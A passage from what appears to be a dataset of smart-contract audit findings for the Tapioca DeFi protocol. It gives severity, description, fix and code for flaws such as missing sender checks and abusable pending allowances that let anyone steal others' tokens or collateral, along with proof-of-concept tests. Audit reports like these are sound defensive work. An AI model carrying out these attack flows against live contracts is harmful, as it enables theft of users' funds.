------------------------\\n vm.startPrank(userA);\\n bUsdo.executeModule(\\n IUsdo.Module.UsdoMarketReceiver, \\n abi.encodeWithSelector(\\n UsdoMarketReceiverModule.removeAssetReceiver.selector, \\n marketMsg_), \\n false);\\n // ------------------------\\n\\n // Check execution\\n {\\n assertEq(bUsdo.balanceOf(address(userB)), 0);\\n assertEq(\\n yieldBox.toAmount(bUsdoYieldBoxId, yieldBox.balanceOf(address(userB), bUsdoYieldBoxId), false),\\n 0\\n );\\n assertEq(bUsdo.balanceOf(address(userA)), tokenAmount_);\\n }\\n }\\n```\\n\\nNote: The `burst` function was modified in the MagnetarMock contract and add call to `_checkSender` function to reproduce the real situation.\\nThat is also why the `bUsdo` has been whitelisted in the test.
The `executeModule` function should inspect and validate the `_data` parameter to make sure that the caller is the same address as the user who executes the operations.
HIGH - Anyone can steal others' tokens from their markets.
```\\nbUsdo.executeModule(\\n IUsdo.Module.UsdoMarketReceiver, \\n abi.encodeWithSelector(\\n UsdoMarketReceiverModule.removeAssetReceiver.selector, \\n marketMsg_), \\n false);\\n```\\n
Pending allowances can be exploited
high
Pending allowances can be exploited in multiple places in the codebase.\\n`TOFT::marketRemoveCollateralReceiver` has the following flow:\\nIt calls `removeCollateral` ona a market with the following parameters: `from = msg_user`, `to = msg_.removeParams.magnetar`.\\nInside the `SGLCollateral::removeCollateral` `_allowedBorrow` is called and check if the `from = msg_user` address has given enough `allowanceBorrow` to the `msg.sender` which in this case is the TOFT contract.\\nSo for a user to use this flow in needs to call:\\n```\\nfunction approveBorrow(address spender, uint256 amount) external returns (bool) {\\n _approveBorrow(msg.sender, spender, amount);\\n return true;\\n }\\n```\\n\\nAnd give the needed allowance to the TOFT contract.\\nThis results in collateral being removed and transferred into the Magnetar contract with `yieldBox.transfer(address(this), to, collateralId, share);`.\\nThe Magnetar gets the collateral, and it can withdraw it to any address specified in the `msg_.withdrawParams`.\\nThis is problematic as the `TOFT::marketRemoveCollateralReceiver` doesn't check the `msg.sender`. In practice this means if Alice has called `approveBorrow` and gives the needed allowance with the intention of using the `marketRemoveCollateralReceiver` flow, Bob can use the `marketRemoveCollateralReceiver` flow and withdraw all the collateral from Alice to his address.\\nSo, any pending allowances from any user can immediately be exploited to steal the collateral.\\nOther occurrences\\nThere are a few other occurrences of this problematic pattern in the codebase.\\n`TOFT::marketBorrowReceiver` expects the user to give an approval to the Magnetar contract. The approval is expected inside the `_extractTokens` function where `pearlmit.transferFromERC20(_from, address(this), address(_token), _amount);` is called. Again, the `msg.sender` is not checked inside the `marketBorrowReceiver` function, so this flow can be abused by another user to borrow and withdraw the borrowed amount to his address.\\n`TOFT::mintLendXChainSGLXChainLockAndParticipateReceiver` also allows to borrow inside the BigBang market and withdraw the borrowed amount to an arbitrary address.\\n`TOF::exerciseOptionsReceiver` has the `_internalTransferWithAllowance` function that simply allows to transfer TOFT tokens from any `_options.from` address that has given an allowance to `srcChainSender`, by anyone that calls this function. It allows to forcefully call the `exerciseOptionsReceiver` on behalf of any other user.\\n`USDO::depositLendAndSendForLockingReceiver` also expects the user to give an allowance to the Magnetar contract, i.e. `MagnetarAssetXChainModule::depositYBLendSGLLockXchainTOLP` calls the `_extractTokens`.
There are multiple instances of issues with dangling allowances in the protocol. Review all the allowance flows and make sure it can't be exploited.
The impact of this vulnerability is that any pending allowances from any user can immediately be exploited to steal the collateral/borrowed amount.
```\\nfunction approveBorrow(address spender, uint256 amount) external returns (bool) {\\n _approveBorrow(msg.sender, spender, amount);\\n return true;\\n }\\n```\\n
Incorrect `tapOft` Amounts Will Be Sent to Desired Chains on Certain Conditions
medium
TOFTOptionsReceiverModule::exerciseOptionsReceiver module, is responsible for facilitating users' token exercises between `mTOFT` and `tapOFT` tokens across different chains. In a `msg-type` where the user wishes to receive the `tapOFT` tokens on a different chain, the module attempts to ensure the amount sent to the user on the desired chain, aligns with the received tap amount in the current chain. However, a flaw exists where the computed amount to send is not updated in the send parameters, resulting in incorrect token transfer.\\nTOFTOptionsReceiverModule::exerciseOptionsReceiver module is a module that enables users to exercise their `mTOFT` tokens for a given amount of `tapOFT` option tokens.\\nWhen the user wishes to withdraw these `tapOft` tokens on a different chain, the withdrawOnOtherChain param will be set to true. For this composed call type, the contract attempts to ensure the amount to send to the user on the other chain isn't more than the received `tap amount`, by doing this:\\n```\\n uint256 amountToSend = _send.amountLD > _options.tapAmount ? _options.tapAmount : _send.amountLD;\\n if (_send.minAmountLD > amountToSend) {\\n _send.minAmountLD = amountToSend;\\n }\\n```\\n\\nThe issue here is that, the computed amount to send, is never updated in the `lsSendParams.sendParam`, the current code still goes on to send the packet to the destination chain with the default input amount:\\n```\\n if (msg_.withdrawOnOtherChain) {\\n /// @dev determine the right amount to send back to source\\n uint256 amountToSend = _send.amountLD > _options.tapAmount ? _options.tapAmount : _send.amountLD;\\n if (_send.minAmountLD > amountToSend) {\\n _send.minAmountLD = amountToSend;\\n }\\n\\n\\n // Sends to source and preserve source `msg.sender` (`from` in this case).\\n _sendPacket(msg_.lzSendParams, msg_.composeMsg, _options.from);\\n\\n\\n // Refund extra amounts\\n if (_options.tapAmount - amountToSend > 0) {\\n IERC20(tapOft).safeTransfer(_options.from, _options.tapAmount - amountToSend);\\n }\\n```\\n\\nTo Illustrate:\\nassuming send `amountLD` = 100 and the user is to receive a tap amount of = 80 since `amountLD` is greater than tap amount, the amount to send should be 80, i.e. `msg_.lzSendParams.sendParam.amountLD` = 80 The current code goes on to send the default 100 to the user, when the user is only entitled to 80
update the lz send param `amountLD` to the new computed `amountToSend` before sending the packet\\nI.e :\\n```\\nmsg_.lzSendParams.sendParam.amountLD = amountToSend;\\n```\\n\\nNote that the issue should also be fixed in Tapioca-Bar as well
The user will always receive an incorrect amount of `tapOFT` in the desired chain whenever `amountLD` is greater than `tapAmount`
```\\n uint256 amountToSend = _send.amountLD > _options.tapAmount ? _options.tapAmount : _send.amountLD;\\n if (_send.minAmountLD > amountToSend) {\\n _send.minAmountLD = amountToSend;\\n }\\n```\\n
Underflow Vulnerability in `Market::_allowedBorrow` Function: Oversight with Pearlmit Allowance Handling
medium
The protocol permits users to authorize spenders using the MarketERC20::approveBorrow function, and also includes support for allowances granted through the `Pearlmit` contract. However, an oversight in the _allowedBorrow function leads to an underflow issue when spenders utilize `Pearlmit` allowances, rendering them unable to execute borrowing actions despite having the necessary permission.\\nProtocol users can approve a spender via MarketERC20::approveBorrow function, to perform certain actions like `borrow`, `repay` or adding of collateral on their behalf. Whenever the spender calls any of these functionalities, down the execution _allowedBorrow is invoked to check if the caller is allowed to `borrow` `share` `from` `from`, and then decrease the spender's allowance by the `share` amount.\\n```\\n function _allowedBorrow(address from, uint256 share) internal virtual override {\\n if (from != msg.sender) {\\n // TODO review risk of using this\\n (uint256 pearlmitAllowed,) = penrose.pearlmit().allowance(from, msg.sender, address(yieldBox), collateralId);\\n require(allowanceBorrow[from][msg.sender] >= share || pearlmitAllowed >= share, "Market: not approved");\\n if (allowanceBorrow[from][msg.sender] != type(uint256).max) {\\n allowanceBorrow[from][msg.sender] -= share;\\n }\\n }\\n }\\n```\\n\\nThe problem here is, _allowedBorrow will always revert due to an underflow whenever the spender is given an allowance in the `Pearlmit` contract.\\nTo Illustrate\\nAssuming we have two users, Bob and Alice, since `Pearlmit` allowance is also accepted, Alice grants Bob a borrowing allowance of `100` tokens for the collateral id using `Pearlmit`. Note that Bob's allowance in the Market contract for Alice will be `zero(0)` and `100` in `Pearlmit`.\\nWhen Bob tries to borrow an amount equal to his `Pearlmit` allowance, down the borrow logic `_allowedBorrow` is called, in `_allowedBorrow` function, the below requirement passes, since the returned `pearlmitAllowed` for Bob will equal `100` shares\\n```\\n require(allowanceBorrow[from][msg.sender] >= share || pearlmitAllowed >= share, "Market: not approved");\\n```\\n\\nRemember Bob's allowance in the Market contract for Alice is `0`, but `100` in `Pearlmit`, but _allowedBorrow function erroneously attempts to deduct the share from Bob's Market allowance, which will thus result in an underflow revert(0 - 100).\\n```\\n if (allowanceBorrow[from][msg.sender] != type(uint256).max) {\\n allowanceBorrow[from][msg.sender] -= share;\\n }\\n```\\n
After ensuring that the user has got the approval, return when permission from `Pearlmit` is used:\\n```\\n function _allowedBorrow(address from, uint256 share) internal virtual override {\\n if (from != msg.sender) {\\n // TODO review risk of using this\\n (uint256 pearlmitAllowed,) = penrose.pearlmit().allowance(from, msg.sender, address(yieldBox), collateralId);\\n require(allowanceBorrow[from][msg.sender] >= share || pearlmitAllowed >= share, "Market: not approved");\\n+ if (pearlmitAllowed != 0) return;\\n if (allowanceBorrow[from][msg.sender] != type(uint256).max) {\\n allowanceBorrow[from][msg.sender] -= share;\\n }\\n }\\n }\\n```\\n\\nOr remove support for `Pearlmit` allowance
Although giving a spender allowance via `Pearlmit` will appear to be supported, the spender cannot carry out any borrowing action in the Market.
```\\n function _allowedBorrow(address from, uint256 share) internal virtual override {\\n if (from != msg.sender) {\\n // TODO review risk of using this\\n (uint256 pearlmitAllowed,) = penrose.pearlmit().allowance(from, msg.sender, address(yieldBox), collateralId);\\n require(allowanceBorrow[from][msg.sender] >= share || pearlmitAllowed >= share, "Market: not approved");\\n if (allowanceBorrow[from][msg.sender] != type(uint256).max) {\\n allowanceBorrow[from][msg.sender] -= share;\\n }\\n }\\n }\\n```\\n
The repaying action in `BBLeverage.sellCollateral` function pulls YieldBox shares of asset from wrong address
medium
The `sellCollateral` function is used to sell a user's collateral to obtain YieldBox shares of the asset and repay the user's loan. However, in the BBLeverage contract, it calls `_repay` with the `from` parameter set to the user, even though the asset shares have already been collected by this contract beforehand.\\nIn `BBLeverage.sellCollateral`, the `from` variable (user) is used as the repayer address.\\n```\\nif (memoryData.shareOwed <= memoryData.shareOut) {\\n _repay(from, from, memoryData.partOwed);\\n} else {\\n //repay as much as we can\\n uint256 partOut = totalBorrow.toBase(amountOut, false);\\n _repay(from, from, partOut);\\n}\\n```\\n\\nTherefore, asset shares of user will be pulled in `BBLendingCommon._repay` function.\\n```\\nfunction _repay(address from, address to, uint256 part) internal returns (uint256 amount) {\\n // rest of code\\n // @dev amount includes the opening & accrued fees\\n yieldBox.withdraw(assetId, from, address(this), amount, 0);\\n // rest of code\\n```\\n\\nThis is incorrect behavior since the necessary asset shares were already collected by the contract in the `BBLeverage.sellCollateral` function. The repayer address should be `address(this)` for `_repay`.
Should fix as following:\\n```\\nif (memoryData.shareOwed <= memoryData.shareOut) {\\n _repay(address(this), from, memoryData.partOwed);\\n} else {\\n //repay as much as we can\\n uint256 partOut = totalBorrow.toBase(amountOut, false);\\n _repay(address(this), from, partOut);\\n}\\n```\\n
Mistakenly pulling user funds while the received asset shares remain stuck in the contract will result in losses for users who have sufficient allowance and balance when using the `BBLeverage.sellCollateral` functionality.
```\\nif (memoryData.shareOwed <= memoryData.shareOut) {\\n _repay(from, from, memoryData.partOwed);\\n} else {\\n //repay as much as we can\\n uint256 partOut = totalBorrow.toBase(amountOut, false);\\n _repay(from, from, partOut);\\n}\\n```\\n
`leverageAmount` is incorrect in `SGLLeverage.sellCollateral` function due to calculation based on the new states of YieldBox after withdrawal
medium
See vulnerability detail\\n`SGLLeverage.sellCollateral` function attempts to remove the user's collateral in shares of YieldBox, then withdraws those collateral shares to collect collateral tokens. Subsequently, the received collateral tokens can be used to swap for asset tokens.\\nHowever, the `leverageAmount` variable in this function does not represent the actual withdrawn tokens from the provided shares because it is calculated after the withdrawal.\\n```\\nyieldBox.withdraw(collateralId, address(this), address(leverageExecutor), 0, calldata_.share);\\nuint256 leverageAmount = yieldBox.toAmount(collateralId, calldata_.share, false);\\n\\namountOut = leverageExecutor.getAsset(\\n assetId, address(collateral), address(asset), leverageAmount, calldata_.from, calldata_.data\\n);\\n```\\n\\n`yieldBox.toAmount` after withdrawal may return different from the actual withdrawn token amount, because the states of YieldBox has changed. Because the token amount is calculated with rounding down in YieldBox, `leverageAmount` will be higher than the actual withdrawn amount.\\nFor example, before the withdrawal, YieldBox had 100 total shares and 109 total tokens. Now this function attempt to withdraw 10 shares (calldata_.share = 10) -> the actual withdrawn amount = 10 * 109 / 100 = 10 tokens After that, leverageAmount will be calculated based on the new yieldBox's total shares and total tokens -> leverageAmount = 10 * (109 - 10) / (100 - 10) = 11 tokens\\nThe same vulnerability exists in `BBLeverage.sellCollateral` function.
`leverageAmount` should be obtained from the return value of YieldBox.withdraw:\\n```\\n(uint256 leverageAmount, ) = yieldBox.withdraw(collateralId, address(this), address(leverageExecutor), 0, calldata_.share);\\n```\\n
Because `leverageAmount` can be higher than the actual withdrawn collateral tokens, `leverageExecutor.getAsset()` will revert due to not having enough tokens in the contract to pull. This results in a DOS of `sellCollateral`, break this functionality.
```\\nyieldBox.withdraw(collateralId, address(this), address(leverageExecutor), 0, calldata_.share);\\nuint256 leverageAmount = yieldBox.toAmount(collateralId, calldata_.share, false);\\n\\namountOut = leverageExecutor.getAsset(\\n assetId, address(collateral), address(asset), leverageAmount, calldata_.from, calldata_.data\\n);\\n```\\n
mTOFTReceiver MSG_XCHAIN_LEND_XCHAIN_LOCK unable to execute
medium
In `mTOFTReceiver._toftCustomComposeReceiver(uint16 _msgType)` If `_msgType` is processed normally, the method must return `true`, if it returns `false`, it will trigger `revert InvalidMsgType()` But when `_msgType == MSG_XCHAIN_LEND_XCHAIN_LOCK` is executed normally, it does not correctly return `true` This causes this type of execution to always fail\\nThe main execution order of `_lzCompose()` is as follows:\\nIf msgType_ == MSG_REMOTE_TRANSFER, execute `_remoteTransferReceiver()`\\nOtherwise, execute `_extExec(msgType_, tapComposeMsg_)`\\nOtherwise, execute `tapiocaOmnichainReceiveExtender`\\nOtherwise, execute `_toeComposeReceiver()`\\nIf the 4th step `_toeComposeReceiver()` returns false, it is considered that the type cannot be found, and `revert InvalidMsgType(msgType_);` is triggered\\nthe code as follows:\\n```\\n function _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\\n // Decode OFT compose message.\\n (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\\n TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\\n\\n // Call Permits/approvals if the msg type is a permit/approval.\\n // If the msg type is not a permit/approval, it will call the other receivers.\\n if (msgType_ == MSG_REMOTE_TRANSFER) {\\n _remoteTransferReceiver(srcChainSender_, tapComposeMsg_);\\n } else if (!_extExec(msgType_, tapComposeMsg_)) {\\n // Check if the TOE extender is set and the msg type is valid. If so, call the TOE extender to handle msg.\\n if (\\n address(tapiocaOmnichainReceiveExtender) != address(0)\\n && tapiocaOmnichainReceiveExtender.isMsgTypeValid(msgType_)\\n ) {\\n bytes memory callData = abi.encodeWithSelector(\\n ITapiocaOmnichainReceiveExtender.toeComposeReceiver.selector,\\n msgType_,\\n srcChainSender_,\\n tapComposeMsg_\\n );\\n (bool success, bytes memory returnData) =\\n address(tapiocaOmnichainReceiveExtender).delegatecall(callData);\\n if (!success) {\\n revert(_getTOEExtenderRevertMsg(returnData));\\n }\\n } else {\\n // If no TOE extender is set or msg type doesn't match extender, try to call the internal receiver.\\n if (!_toeComposeReceiver(msgType_, srcChainSender_, tapComposeMsg_)) {\\n revert InvalidMsgType(msgType_);\\n }\\n }\\n }\\n```\\n\\nThe implementation of `mTOFTReceiver._toeComposeReceiver()` is as follows:\\n```\\ncontract mTOFTReceiver is BaseTOFTReceiver {\\n constructor(TOFTInitStruct memory _data) BaseTOFTReceiver(_data) {}\\n\\n function _toftCustomComposeReceiver(uint16 _msgType, address, bytes memory _toeComposeMsg)\\n internal\\n override\\n returns (bool success)\\n {\\n if (_msgType == MSG_LEVERAGE_UP) { //@check\\n _executeModule(\\n uint8(ITOFT.Module.TOFTMarketReceiver),\\n abi.encodeWithSelector(TOFTMarketReceiverModule.leverageUpReceiver.selector, _toeComposeMsg),\\n false\\n );\\n return true;\\n } else if (_msgType == MSG_XCHAIN_LEND_XCHAIN_LOCK) { //@check\\n _executeModule(\\n uint8(ITOFT.Module.TOFTOptionsReceiver),\\n abi.encodeWithSelector(\\n TOFTOptionsReceiverModule.mintLendXChainSGLXChainLockAndParticipateReceiver.selector, _toeComposeMsg\\n ),\\n false\\n );\\n //@audit miss return true\\n } else {\\n return false;\\n }\\n }\\n}\\n```\\n\\nAs mentioned above, because `_msgType == MSG_XCHAIN_LEND_XCHAIN_LOCK` does not return `true`, it always triggers `revert InvalidMsgType(msgType_);`
```\\ncontract mTOFTReceiver is BaseTOFTReceiver {\\n constructor(TOFTInitStruct memory _data) BaseTOFTReceiver(_data) {}\\n\\n function _toftCustomComposeReceiver(uint16 _msgType, address, bytes memory _toeComposeMsg)\\n internal\\n override\\n returns (bool success)\\n {\\n if (_msgType == MSG_LEVERAGE_UP) { //@check\\n _executeModule(\\n uint8(ITOFT.Module.TOFTMarketReceiver),\\n abi.encodeWithSelector(TOFTMarketReceiverModule.leverageUpReceiver.selector, _toeComposeMsg),\\n false\\n );\\n return true;\\n } else if (_msgType == MSG_XCHAIN_LEND_XCHAIN_LOCK) { //@check\\n _executeModule(\\n uint8(ITOFT.Module.TOFTOptionsReceiver),\\n abi.encodeWithSelector(\\n TOFTOptionsReceiverModule.mintLendXChainSGLXChainLockAndParticipateReceiver.selector, _toeComposeMsg\\n ),\\n false\\n );\\n// Add the line below\\n return true;\\n } else {\\n return false;\\n }\\n }\\n}\\n```\\n
`_msgType == MSG_XCHAIN_LEND_XCHAIN_LOCK` `TOFTOptionsReceiver.mintLendXChainSGLXChainLockAndParticipateReceiver()` unable to execute successfully
```\\n function _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\\n // Decode OFT compose message.\\n (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\\n TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\\n\\n // Call Permits/approvals if the msg type is a permit/approval.\\n // If the msg type is not a permit/approval, it will call the other receivers.\\n if (msgType_ == MSG_REMOTE_TRANSFER) {\\n _remoteTransferReceiver(srcChainSender_, tapComposeMsg_);\\n } else if (!_extExec(msgType_, tapComposeMsg_)) {\\n // Check if the TOE extender is set and the msg type is valid. If so, call the TOE extender to handle msg.\\n if (\\n address(tapiocaOmnichainReceiveExtender) != address(0)\\n && tapiocaOmnichainReceiveExtender.isMsgTypeValid(msgType_)\\n ) {\\n bytes memory callData = abi.encodeWithSelector(\\n ITapiocaOmnichainReceiveExtender.toeComposeReceiver.selector,\\n msgType_,\\n srcChainSender_,\\n tapComposeMsg_\\n );\\n (bool success, bytes memory returnData) =\\n address(tapiocaOmnichainReceiveExtender).delegatecall(callData);\\n if (!success) {\\n revert(_getTOEExtenderRevertMsg(returnData));\\n }\\n } else {\\n // If no TOE extender is set or msg type doesn't match extender, try to call the internal receiver.\\n if (!_toeComposeReceiver(msgType_, srcChainSender_, tapComposeMsg_)) {\\n revert InvalidMsgType(msgType_);\\n }\\n }\\n }\\n```\\n
Multiple contracts cannot be paused
medium
For safety, tapioca has added `whenNotPaused` restrictions to multiple contracts But there is no method provided to modify the `_paused` state If a security event occurs, it cannot be paused at all\\nTake `mTOFT.sol` as an example, multiple methods are `whenNotPaused`\\n```\\n function executeModule(ITOFT.Module _module, bytes memory _data, bool _forwardRevert)\\n external\\n payable\\n whenNotPaused\\n returns (bytes memory returnData)\\n {\\n// rest of code\\n function sendPacket(LZSendParam calldata _lzSendParam, bytes calldata _composeMsg)\\n public\\n payable\\n whenNotPaused\\n returns (MessagingReceipt memory msgReceipt, OFTReceipt memory oftReceipt)\\n {\\n```\\n\\nBut the contract does not provide a `public` method to modify `_paused` Note: `Pausable.sol` does not have a `public` method to modify `_paused`\\nIn reality, there have been multiple reports of security incidents where the protocol side wants to pause to prevent losses, but cannot pause, strongly recommend adding\\nNote: The following contracts cannot be paused\\nmTOFT\\nTOFT\\nUsdo\\nAssetToSGLPLeverageExecutor
```\\n// Add the line below\\n function pause() external onlyOwner{\\n// Add the line below\\n _pause();\\n// Add the line below\\n }\\n\\n// Add the line below\\n function unpause() external onlyOwner{\\n// Add the line below\\n _unpause();\\n// Add the line below\\n }\\n```\\n
Due to the inability to modify `_paused`, it poses a security risk
```\\n function executeModule(ITOFT.Module _module, bytes memory _data, bool _forwardRevert)\\n external\\n payable\\n whenNotPaused\\n returns (bytes memory returnData)\\n {\\n// rest of code\\n function sendPacket(LZSendParam calldata _lzSendParam, bytes calldata _composeMsg)\\n public\\n payable\\n whenNotPaused\\n returns (MessagingReceipt memory msgReceipt, OFTReceipt memory oftReceipt)\\n {\\n```\\n
Composing approval with other messages is subject to DoS
medium
`TOFT::sendPacket` function allows the caller to specify multiple messages that are executed on the destination chain. On the receiving side the `lzCompose` function in `TOFT` contract can be DoS-ed by front-running the approval message and causing the `lzCompose` to revert. As `lzCompose` is supposed to process several messages, this results in lost fee paid on the sending chain for executing the subsequent messages and any value or gas airdropped to the contract.\\n`TOFT::sendPacket` allows the caller to specify arbitrary `_composeMsg`. It can be a single message or multiple composed messages.\\n```\\n function sendPacket(LZSendParam calldata _lzSendParam, bytes calldata _composeMsg)\\n public\\n payable\\n whenNotPaused // @audit Pausing is not implemented yet.\\n returns (MessagingReceipt memory msgReceipt, OFTReceipt memory oftReceipt)\\n {\\n (msgReceipt, oftReceipt) = abi.decode(\\n _executeModule(\\n uint8(ITOFT.Module.TOFTSender),\\n abi.encodeCall(TapiocaOmnichainSender.sendPacket, (_lzSendParam, _composeMsg)),\\n false\\n ),\\n (MessagingReceipt, OFTReceipt)\\n );\\n }\\n```\\n\\nIf we observe the logic inside the lzCompose:\\n```\\n function _lzCompose(address srcChainSender_, bytes32 _guid, bytes memory oftComposeMsg_) internal {\\n // Decode OFT compose message.\\n (uint16 msgType_,,, bytes memory tapComposeMsg_, bytes memory nextMsg_) =\\n TapiocaOmnichainEngineCodec.decodeToeComposeMsg(oftComposeMsg_);\\n\\n // Call Permits/approvals if the msg type is a permit/approval.\\n // If the msg type is not a permit/approval, it will call the other receivers.\\n if (msgType_ == MSG_REMOTE_TRANSFER) {\\n _remoteTransferReceiver(srcChainSender_, tapComposeMsg_);\\n } else if (!_extExec(msgType_, tapComposeMsg_)) {\\n // Check if the TOE extender is set and the msg type is valid. If so, call the TOE extender to handle msg.\\n if (\\n address(tapiocaOmnichainReceiveExtender) != address(0)\\n && tapiocaOmnichainReceiveExtender.isMsgTypeValid(msgType_)\\n ) {\\n bytes memory callData = abi.encodeWithSelector(\\n ITapiocaOmnichainReceiveExtender.toeComposeReceiver.selector,\\n msgType_,\\n srcChainSender_,\\n tapComposeMsg_\\n );\\n (bool success, bytes memory returnData) =\\n address(tapiocaOmnichainReceiveExtender).delegatecall(callData);\\n if (!success) {\\n revert(_getTOEExtenderRevertMsg(returnData));\\n }\\n } else {\\n // If no TOE extender is set or msg type doesn't match extender, try to call the internal receiver.\\n if (!_toeComposeReceiver(msgType_, srcChainSender_, tapComposeMsg_)) {\\n revert InvalidMsgType(msgType_);\\n }\\n }\\n }\\n\\n emit ComposeReceived(msgType_, _guid, tapComposeMsg_);\\n if (nextMsg_.length > 0) {\\n _lzCompose(address(this), _guid, nextMsg_);\\n }\\n }\\n```\\n\\nAt the beginning of the function bytes memory `tapComposeMsg_` is the message being processed, while `bytes memory nextMsg_` are all the other messages. `lzCompose` will process all the messages until `nextMsg_` is empty.\\nA user might want to have his first message to grant approval, e.g. `_extExec` function call, while his second message might execute `BaseTOFTReceiver::_toeComposeReceiver` with `_msgType == MSG_YB_SEND_SGL_BORROW`.\\nThis is a problem as there is a clear DoS attack vector on granting any approvals. A griever can observe the permit message from the user and front-run the `lzCompose` call and submit the approval on the user's behalf.\\nAs permits use nonce it can't be replayed, which means if anyone front-runs the permit, the original permit will revert. This means that `lzCompose` always reverts and all the gas and value to process the `BaseTOFTReceiver::_toeComposeReceiver` with `_msgType == MSG_YB_SEND_SGL_BORROW` is lost for the user.
`TOFT::sendPacket` should do extra checks to ensure if the message contains approvals, it should not allow packing several messages.
When user is granting approvals and wants to execute any other message in the same `lzCompose` call, the attacker can deny the user from executing the other message by front-running the approval message and causing the `lzCompose` to revert. The impact is lost fee paid on the sending chain for executing the subsequent messages and any value or gas airdropped to the contract. This is especially severe when the user wants to withdraw funds to another chain, as he needs to pay for that fee on the sending chain.
```\\n function sendPacket(LZSendParam calldata _lzSendParam, bytes calldata _composeMsg)\\n public\\n payable\\n whenNotPaused // @audit Pausing is not implemented yet.\\n returns (MessagingReceipt memory msgReceipt, OFTReceipt memory oftReceipt)\\n {\\n (msgReceipt, oftReceipt) = abi.decode(\\n _executeModule(\\n uint8(ITOFT.Module.TOFTSender),\\n abi.encodeCall(TapiocaOmnichainSender.sendPacket, (_lzSendParam, _composeMsg)),\\n false\\n ),\\n (MessagingReceipt, OFTReceipt)\\n );\\n }\\n```\\n
StargateRouter cannot send payloads and rebalancing of ERC20s is broken
medium
The `Balancer.sol` contract can't perform the rebalancing of ERC20s across chains as the Stargate router is not able to send any payload and will immediately revert the transaction if a payload is included. In this instance payload is hardcoded to `"0x"`.\\n`Balancer.sol` contract has a `rebalance` function that is supposed to perform a rebalancing of `mTOFTs` across chains. In case the token being transferred through Stargate is an ERC20 it is using the Stargate router to initiate the transfer. The issue however is that the stargate router is not able to send any payload and will immediately revert the transaction if a payload is included.\\nIf we take a look at the code, there is a payload equal to "0x" being sent with the transaction:\\n```\\n## Balancer.sol\\n\\n router.swap{value: msg.value}(\\n _dstChainId,\\n _srcPoolId,\\n _dstPoolId,\\n payable(this),\\n _amount,\\n _computeMinAmount(_amount, _slippage),\\n IStargateRouterBase.lzTxObj({dstGasForCall: 0, dstNativeAmount: 0, dstNativeAddr: "0x0"}),\\n _dst,\\n "0x" => this is the payload that is being sent with the transaction\\n );\\n```\\n\\nAs a proof of concept we can try to send a payload through the stargate router on a forked network and see that the transaction will revert. p.s. make sure to run on it on a forked network on Ethereum mainnet.\\n```\\nfunction testStargateRouterReverting() public {\\n vm.createSelectFork(vm.envString("MAINNET_RPC_URL"));\\n \\n address stargateRouter = 0x8731d54E9D02c286767d56ac03e8037C07e01e98;\\n address DAIWhale = 0x7A8EDc710dDEAdDDB0B539DE83F3a306A621E823;\\n address DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;\\n IStargateRouter.lzTxObj memory lzTxParams = IStargateRouter.lzTxObj(0, 0, "0x00");\\n\\n vm.startPrank(DAIWhale);\\n vm.deal(DAIWhale, 5 ether);\\n IERC20(DAI).approve(stargateRouter, 1e18);\\n IStargateRouter(stargateRouter).swap{value: 1 ether}(\\n 111, 3, 3, payable(address(this)), 1e18, 1, lzTxParams, abi.encode(address(this)), "0x"\\n );\\n}\\n```\\n\\nIt fails with the following error:\\nBoth `StargateRouter` and StargateComposer have the `swap` interface, but the intention was to use the `StargateRouter` which can be observed by the `retryRevert` function in the `Balancer.sol` contract.\\n```\\n## Balancer.sol\\n\\nfunction retryRevert(uint16 _srcChainId, bytes calldata _srcAddress, uint256 _nonce) external payable onlyOwner {\\n router.retryRevert{value: msg.value}(_srcChainId, _srcAddress, _nonce);\\n}\\n```\\n\\nAs this makes the rebalancing of `mTOFTs` broken, I'm marking this as a high-severity issue.
Use the `StargateComposer` instead of the `StargateRouter` if sending payloads.
Rebalancing of `mTOFTs` across chains is broken and as it is one of the main functionalities of the protocol, this is a high-severity issue.
```\\n## Balancer.sol\\n\\n router.swap{value: msg.value}(\\n _dstChainId,\\n _srcPoolId,\\n _dstPoolId,\\n payable(this),\\n _amount,\\n _computeMinAmount(_amount, _slippage),\\n IStargateRouterBase.lzTxObj({dstGasForCall: 0, dstNativeAmount: 0, dstNativeAddr: "0x0"}),\\n _dst,\\n "0x" => this is the payload that is being sent with the transaction\\n );\\n```\\n
`mTOFT` can be forced to receive the wrong ERC20 leading to token lockup
medium
Due to Stargate's functionality of swapping one token on the source chain to another token on the destination chain, it is possible to force `mTOFT` to receive the wrong ERC20 token leading to token lockup.\\nTo give an example, a user can:\\nProvide USDC on Ethereum and receive USDT on Avalanche.\\nProvide USDC on Avalanche and receive USDT on Arbitrum.\\netc.\\nThe issue here is that poolIds are not enforced during the rebalancing process. As it can be observed the `bytes memory _ercData` is not checked for its content.\\n```\\n## Balancer.sol\\n\\nfunction _sendToken(\\n address payable _oft,\\n uint256 _amount,\\n uint16 _dstChainId,\\n uint256 _slippage,\\n> bytes memory _data\\n ) private {\\n address erc20 = ITOFT(_oft).erc20();\\n if (IERC20Metadata(erc20).balanceOf(address(this)) < _amount) {\\n revert ExceedsBalance();\\n }\\n {\\n> (uint256 _srcPoolId, uint256 _dstPoolId) = abi.decode(_data, (uint256, uint256));\\n _routerSwap(_dstChainId, _srcPoolId, _dstPoolId, _amount, _slippage, _oft, erc20);\\n }\\n }\\n```\\n\\nIt is simply decoded and passed as is.\\nThis is a problem and imagine the following scenario:\\nA Gelato bot calls the rebalance method for `mTOFT` that has USDC as erc20 on Ethereum.\\nThe bot encodes the `ercData` so `srcChainId = 1` pointing to USDC but `dstChainId = 2` pointing to USDT on Avalanche.\\nDestination `mTOFT` is fetched from `connectedOFTs` and points to the `mTOFT` with USDC as erc20 on Avalanche.\\nStargate will take USDC on Ethereum and provide USDT on Avalanche.\\n`mTOFT` with USDC as underlying erc20 on Avalanche will receive USDT token and it will remain lost as the balance of the `mTOFT` contract.\\nAs this is a clear path for locking up wrong tokens inside the `mTOFT` contract, it is a critical issue.
